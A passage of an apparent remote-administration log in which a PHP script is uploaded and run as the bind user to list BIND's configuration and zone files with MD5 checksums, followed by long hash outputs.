MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:08:21: Establishing a connection
2026-07-15 13:08:21: 

PUT: /tmp/pkp814761

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:08:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp814761; rm /tmp/pkp814761'

2026-07-15 13:08:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:17:35: Establishing a connection
2026-07-15 13:17:35: 

PUT: /tmp/pkp820064

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:17:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp820064; rm /tmp/pkp820064'

2026-07-15 13:17:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
